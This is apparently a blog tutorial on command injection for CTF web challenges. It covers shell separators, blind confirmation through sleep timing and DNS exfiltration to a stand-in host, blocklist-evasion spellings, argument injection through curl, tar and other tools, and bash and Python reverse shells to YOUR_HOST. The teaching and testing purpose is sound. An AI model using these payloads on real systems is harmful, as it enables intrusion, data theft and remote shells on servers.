Skip to content
All posts
webrevised May 4, 20266 min read

Command injection: making the shell run your half of the string

Where a shell gets invoked, the separators that split one command into two, how to confirm a blind injection you cannot see, and the argument-injection variant that needs no shell metacharacters at all.

Command injection is the shortest path from a web bug to a shell, and it exists because building a command line by concatenating strings is the most convenient way to call an external program. ping -c 1 $host is one string; if host is yours, so is the part after it.

The important distinction, and the one that decides your whole approach: is a shell involved? system(), exec(), popen(), shell_exec(), os.system, subprocess.run(..., shell=True) and backticks all hand your string to /bin/sh, which means metacharacters are interpreted. execve directly, or subprocess.run(["ping", "-c", "1", host]), does not - and then metacharacters do nothing and you need the argument-injection section at the end.

Finding the sink

Any feature that is obviously a wrapper around a command-line tool. In CTF web challenges the list is short and recognisable:

  • A network diagnostic page: ping, traceroute, nslookup, whois, dig, curl.
  • A file converter: ImageMagick, ffmpeg, LibreOffice, pandoc, ghostscript.
  • An archive handler: tar, unzip, 7z - see also archive attacks.
  • A git or package operation exposed to the user.
  • A PDF or thumbnail generator, which is usually wkhtmltopdf or ImageMagick and has its own SSRF surface as well.
  • Anything that reports a version number, an uptime, or a DNS result.

The separators

PayloadEffectNotes
; idRun unconditionally afterThe default. Blocked most often.
&& idRun if the first command succeededUseful when you can see only success paths.
|| idRun if the first command failedGive it a host that will not resolve, and your command runs.
| idPipe; the second command's output is what you seeOften the cleanest output, because the first command's output is consumed.
& idBackground the first, run yoursWorks where ; is filtered.
` id or $(id)`Substitution - runs inside the argumentSurvives when the whole value is quoted.
%0aidA newline separates commands tooGets past filters that only consider punctuation.
{cat,/flag}Brace expansion, no spaces neededThe answer when spaces are filtered.

If the parameter is inside double quotes in the source - system("ping -c 1 \"$host\"") - a ; is just a character. You need to close the quote first (" ; id ; ") or use $( ) or backticks, which are interpreted *inside* double quotes. Inside single quotes, only closing the quote works.

Blind injection: proving it without output

Most real injections return nothing. Three channels, in order of reliability.

Time

host=1.1.1.1; sleep 5
host=1.1.1.1 && sleep 5
host=$(sleep 5)
A five-second delay that appears exactly when you inject and not otherwise is proof. Use 5 rather than 10 - long enough to distinguish from jitter, short enough that a hundred requests are practical for exfiltration.

DNS

The most useful channel, because it escapes egress filtering that blocks outbound TCP and it carries data. Encode the output into a subdomain of a host whose queries you can see:

; nslookup $(whoami).dns.you.example
; curl "http://$(cat /flag | base32 -w0 | head -c 60).dns.you.example"
Base32, not base64: DNS labels are case-insensitive and base64's mixed case survives nowhere. Labels cap at 63 characters and a full name at 253, so long output needs chunking with fold and a sequence number per chunk.

A file the application will serve back

If the app has any readable directory - a web root, an uploads folder - redirect output into it and then request it. ; id > /var/www/html/uploads/x.txt followed by fetching that path turns a blind injection into a visible one, permanently.

Filters, and the shapes that get past them

Blocklists on this class fail comprehensively, because the shell offers so many spellings of the same thing.

BlockedAlternative
Spaces${IFS}, {cat,/flag}, <, or $'\x20'
Slashes${HOME} or ${PATH:0:1} expands to a /
The word catc\at, c'a't, "c"at, tac, head, nl, rev, xxd, less, od
The word flag/fl*g, /fla?, /f???, cat /* and read what comes out
Alphanumerics entirelyBashfuck-style construction from ${...} expansions and $0
Output redirectionUse DNS or timing instead
; & |A literal newline (%0a), or $( ) inside the existing argument

The general principle: the filter is written against the *strings* an author expected, and the shell is a language with unlimited synonyms. Wildcards, quoting, variable expansion and word splitting each provide a different spelling for the same command, and a blocklist has to catch all of them.

Argument injection: no metacharacters required

When the code passes an argument list rather than a shell string, ; does nothing. But you still control one argument - and many programs have flags that read or write arbitrary files, or execute code, entirely within their normal operation.

  • curl: -o /path/file writes anywhere the process can. -K file reads a config file. --upload-file exfiltrates.
  • tar: --checkpoint=1 --checkpoint-action=exec=sh cmd runs a command as a documented feature.
  • find: -exec cmd {} ; needs no shell.
  • zip: --unzip-command and -TT run a program.
  • ssh / scp / rsync: -o ProxyCommand=... and -e execute.
  • git: --upload-pack= on a clone, or a crafted --config value.
  • wget: --use-askpass= executes; -O writes anywhere.
  • ffmpeg: the concat demuxer reads local files into the output, which is a file-read primitive.

The enabling condition is that your value lands *before* the intended argument, or that the program parses flags anywhere on its line. A username of -o/var/www/html/x.php fed to curl $URL -H "user: $user" is a file write. This class also connects to SSRF: if the argument is a URL, you have both problems at once.

Getting something better than a single command

Once one command runs, the objective is usually an interactive shell so you can move on to privilege escalation. Standard reverse shell, with the usual caveats: the target needs outbound network, and in a CTF that means a listener on a routable host.

; bash -c 'bash -i >& /dev/tcp/YOUR_HOST/4444 0>&1'
; python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("YOUR_HOST",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/sh")'
The bash -c wrapper matters: /dev/tcp is a bash feature and the sink may be running sh. Upgrade to a full TTY afterwards with python3 -c 'import pty;pty.spawn("/bin/bash")' then stty raw -echo.

If there is no outbound network - common in sandboxed challenge infrastructure - do not fight it. Read the flag with the injection you already have and move on. A single cat /flag down a DNS channel is worth more than an hour spent trying to make a reverse shell connect out of a network that was configured not to let it.

A command-injection checklist

  1. Identify the feature that shells out, and guess the command it builds.
  2. Determine whether a shell is involved. If not, go straight to argument injection.
  3. Work through the separators, accounting for the quoting context.
  4. Confirm with id, or with a five-second sleep if there is no output.
  5. If blind, establish a DNS channel before anything else - it carries data and survives egress filters.
  6. If filtered, change the spelling rather than the command: wildcards, quoting, ${IFS}, variable expansion.
  7. Read the flag first. Escalate to a shell second, and only if the challenge actually requires it.